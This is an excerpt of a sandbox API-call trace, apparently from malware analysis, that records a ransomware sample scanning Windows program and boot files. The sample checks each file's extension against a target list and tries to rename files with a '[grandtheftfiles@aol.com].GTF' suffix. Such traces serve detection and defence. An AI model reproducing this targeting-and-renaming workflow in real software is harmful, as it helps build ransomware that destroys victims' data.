	[0153.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0153.432] lstrlenW (lpString=".7z") returned 3
	[0153.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0153.432] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.432] lstrlenW (lpString=".dbf") returned 4
	[0153.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0153.432] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.432] lstrlenW (lpString=".1cd") returned 4
	[0153.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0153.432] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.432] lstrlenW (lpString=".jpg") returned 4
	[0153.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0153.432] Sleep (dwMilliseconds=0x64) 
	[0153.794] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0153.797] lstrlenW (lpString="malgun_boot.ttf") returned 15
	[0153.830] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.835] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=177414) returned 1
	[0153.835] CloseHandle (hObject=0x3cc) returned 1
	[0153.835] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20
	[0153.835] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.835] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.835] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.835] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.835] lstrlenW (lpString=".doc") returned 4
	[0153.836] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.836] lstrlenW (lpString=".docx") returned 5
	[0153.836] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.836] lstrlenW (lpString=".pdf") returned 4
	[0153.836] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.836] lstrlenW (lpString=".xls") returned 4
	[0153.836] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.836] lstrlenW (lpString=".xlsx") returned 5
	[0153.836] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.836] lstrlenW (lpString=".ppt") returned 4
	[0153.836] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.836] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.836] lstrlenW (lpString=".zip") returned 4
	[0153.836] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.836] lstrlenW (lpString=".rar") returned 4
	[0153.836] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.836] lstrlenW (lpString=".bz2") returned 4
	[0153.836] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.836] lstrlenW (lpString=".7z") returned 3
	[0153.836] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.836] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.836] lstrlenW (lpString=".dbf") returned 4
	[0153.836] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.836] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.836] lstrlenW (lpString=".1cd") returned 4
	[0153.836] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.836] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.836] lstrlenW (lpString=".jpg") returned 4
	[0153.836] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.836] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.836] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.836] lstrlenW (lpString=".doc") returned 4
	[0153.836] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.836] lstrlenW (lpString=".docx") returned 5
	[0153.836] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.837] lstrlenW (lpString=".pdf") returned 4
	[0153.837] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.837] lstrlenW (lpString=".xls") returned 4
	[0153.837] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.837] lstrlenW (lpString=".xlsx") returned 5
	[0153.837] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.837] lstrlenW (lpString=".ppt") returned 4
	[0153.837] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.837] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.837] lstrlenW (lpString=".zip") returned 4
	[0153.837] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.837] lstrlenW (lpString=".rar") returned 4
	[0153.837] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.837] lstrlenW (lpString=".bz2") returned 4
	[0153.837] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.837] lstrlenW (lpString=".7z") returned 3
	[0153.837] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.837] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.837] lstrlenW (lpString=".dbf") returned 4
	[0153.837] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.837] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.837] lstrlenW (lpString=".1cd") returned 4
	[0153.837] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.837] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0153.837] lstrlenW (lpString=".jpg") returned 4
	[0153.837] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.837] Sleep (dwMilliseconds=0x64) 
	[0154.161] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0154.162] lstrlenW (lpString="ApiClient.dll") returned 13
	[0154.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0154.241] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=162880) returned 1
	[0154.241] CloseHandle (hObject=0x3f8) returned 1
	[0154.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20
	[0154.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.241] lstrlenW (lpString=".doc") returned 4
	[0154.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0154.241] lstrlenW (lpString=".docx") returned 5
	[0154.241] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0154.241] lstrlenW (lpString=".pdf") returned 4
	[0154.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0154.241] lstrlenW (lpString=".xls") returned 4
	[0154.241] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0154.241] lstrlenW (lpString=".xlsx") returned 5
	[0154.241] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0154.241] lstrlenW (lpString=".ppt") returned 4
	[0154.241] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0154.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.241] lstrlenW (lpString=".zip") returned 4
	[0154.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0154.242] lstrlenW (lpString=".rar") returned 4
	[0154.242] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0154.242] lstrlenW (lpString=".bz2") returned 4
	[0154.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0154.242] lstrlenW (lpString=".7z") returned 3
	[0154.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0154.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.242] lstrlenW (lpString=".dbf") returned 4
	[0154.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0154.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.242] lstrlenW (lpString=".1cd") returned 4
	[0154.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0154.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.242] lstrlenW (lpString=".jpg") returned 4
	[0154.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0154.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.242] lstrlenW (lpString=".doc") returned 4
	[0154.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0154.242] lstrlenW (lpString=".docx") returned 5
	[0154.242] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0154.242] lstrlenW (lpString=".pdf") returned 4
	[0154.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0154.242] lstrlenW (lpString=".xls") returned 4
	[0154.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0154.242] lstrlenW (lpString=".xlsx") returned 5
	[0154.242] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0154.242] lstrlenW (lpString=".ppt") returned 4
	[0154.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0154.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.242] lstrlenW (lpString=".zip") returned 4
	[0154.242] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0154.242] lstrlenW (lpString=".rar") returned 4
	[0154.242] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0154.242] lstrlenW (lpString=".bz2") returned 4
	[0154.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0154.243] lstrlenW (lpString=".7z") returned 3
	[0154.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0154.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.243] lstrlenW (lpString=".dbf") returned 4
	[0154.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0154.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.243] lstrlenW (lpString=".1cd") returned 4
	[0154.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0154.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0154.243] lstrlenW (lpString=".jpg") returned 4
	[0154.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0154.243] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0154.243] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22
	[0154.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.515] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=23040) returned 1
	[0154.515] CloseHandle (hObject=0x3d8) returned 1
	[0154.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20
	[0154.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.656] lstrlenW (lpString=".doc") returned 4
	[0154.656] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0154.656] lstrlenW (lpString=".docx") returned 5
	[0154.656] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0154.656] lstrlenW (lpString=".pdf") returned 4
	[0154.656] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0154.656] lstrlenW (lpString=".xls") returned 4
	[0154.656] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0154.656] lstrlenW (lpString=".xlsx") returned 5
	[0154.656] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0154.656] lstrlenW (lpString=".ppt") returned 4
	[0154.656] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0154.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.656] lstrlenW (lpString=".zip") returned 4
	[0154.656] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0154.656] lstrlenW (lpString=".rar") returned 4
	[0154.656] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0154.656] lstrlenW (lpString=".bz2") returned 4
	[0154.656] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0154.656] lstrlenW (lpString=".7z") returned 3
	[0154.656] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0154.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.656] lstrlenW (lpString=".dbf") returned 4
	[0154.656] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0154.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.656] lstrlenW (lpString=".1cd") returned 4
	[0154.656] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0154.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.657] lstrlenW (lpString=".jpg") returned 4
	[0154.657] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0154.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.657] lstrlenW (lpString=".doc") returned 4
	[0154.657] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0154.657] lstrlenW (lpString=".docx") returned 5
	[0154.657] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0154.657] lstrlenW (lpString=".pdf") returned 4
	[0154.657] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0154.657] lstrlenW (lpString=".xls") returned 4
	[0154.657] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0154.657] lstrlenW (lpString=".xlsx") returned 5
	[0154.657] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0154.657] lstrlenW (lpString=".ppt") returned 4
	[0154.657] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0154.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.657] lstrlenW (lpString=".zip") returned 4
	[0154.657] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0154.657] lstrlenW (lpString=".rar") returned 4
	[0154.657] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0154.657] lstrlenW (lpString=".bz2") returned 4
	[0154.657] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0154.657] lstrlenW (lpString=".7z") returned 3
	[0154.657] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0154.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.657] lstrlenW (lpString=".dbf") returned 4
	[0154.657] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0154.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.657] lstrlenW (lpString=".1cd") returned 4
	[0154.657] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0154.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0154.657] lstrlenW (lpString=".jpg") returned 4
	[0154.657] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0154.658] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0154.658] lstrlenW (lpString="jp2native.dll") returned 13
	[0154.658] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0154.812] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20032) returned 1
	[0154.812] CloseHandle (hObject=0x444) returned 1
	[0154.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20
	[0155.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.217] lstrlenW (lpString=".doc") returned 4
	[0155.217] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.217] lstrlenW (lpString=".docx") returned 5
	[0155.217] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0155.217] lstrlenW (lpString=".pdf") returned 4
	[0155.217] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.217] lstrlenW (lpString=".xls") returned 4
	[0155.217] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.217] lstrlenW (lpString=".xlsx") returned 5
	[0155.217] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0155.217] lstrlenW (lpString=".ppt") returned 4
	[0155.217] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.218] lstrlenW (lpString=".zip") returned 4
	[0155.218] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.218] lstrlenW (lpString=".rar") returned 4
	[0155.218] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.218] lstrlenW (lpString=".bz2") returned 4
	[0155.218] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.218] lstrlenW (lpString=".7z") returned 3
	[0155.218] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.218] lstrlenW (lpString=".dbf") returned 4
	[0155.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.218] lstrlenW (lpString=".1cd") returned 4
	[0155.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.218] lstrlenW (lpString=".jpg") returned 4
	[0155.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.218] lstrlenW (lpString=".doc") returned 4
	[0155.218] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.218] lstrlenW (lpString=".docx") returned 5
	[0155.218] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0155.218] lstrlenW (lpString=".pdf") returned 4
	[0155.218] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.218] lstrlenW (lpString=".xls") returned 4
	[0155.218] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.218] lstrlenW (lpString=".xlsx") returned 5
	[0155.218] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0155.218] lstrlenW (lpString=".ppt") returned 4
	[0155.218] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.218] lstrlenW (lpString=".zip") returned 4
	[0155.218] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.218] lstrlenW (lpString=".rar") returned 4
	[0155.219] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.219] lstrlenW (lpString=".bz2") returned 4
	[0155.219] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.219] lstrlenW (lpString=".7z") returned 3
	[0155.219] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.219] lstrlenW (lpString=".dbf") returned 4
	[0155.219] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.219] lstrlenW (lpString=".1cd") returned 4
	[0155.219] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0155.219] lstrlenW (lpString=".jpg") returned 4
	[0155.219] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.219] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0155.219] lstrlenW (lpString="charsets.jar") returned 12
	[0155.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.458] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3036922) returned 1
	[0155.459] CloseHandle (hObject=0x418) returned 1
	[0155.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20
	[0155.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0155.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0155.459] lstrlenW (lpString=".doc") returned 4
	[0155.459] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0155.459] lstrlenW (lpString=".docx") returned 5
	[0155.459] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0155.459] lstrlenW (lpString=".pdf") returned 4
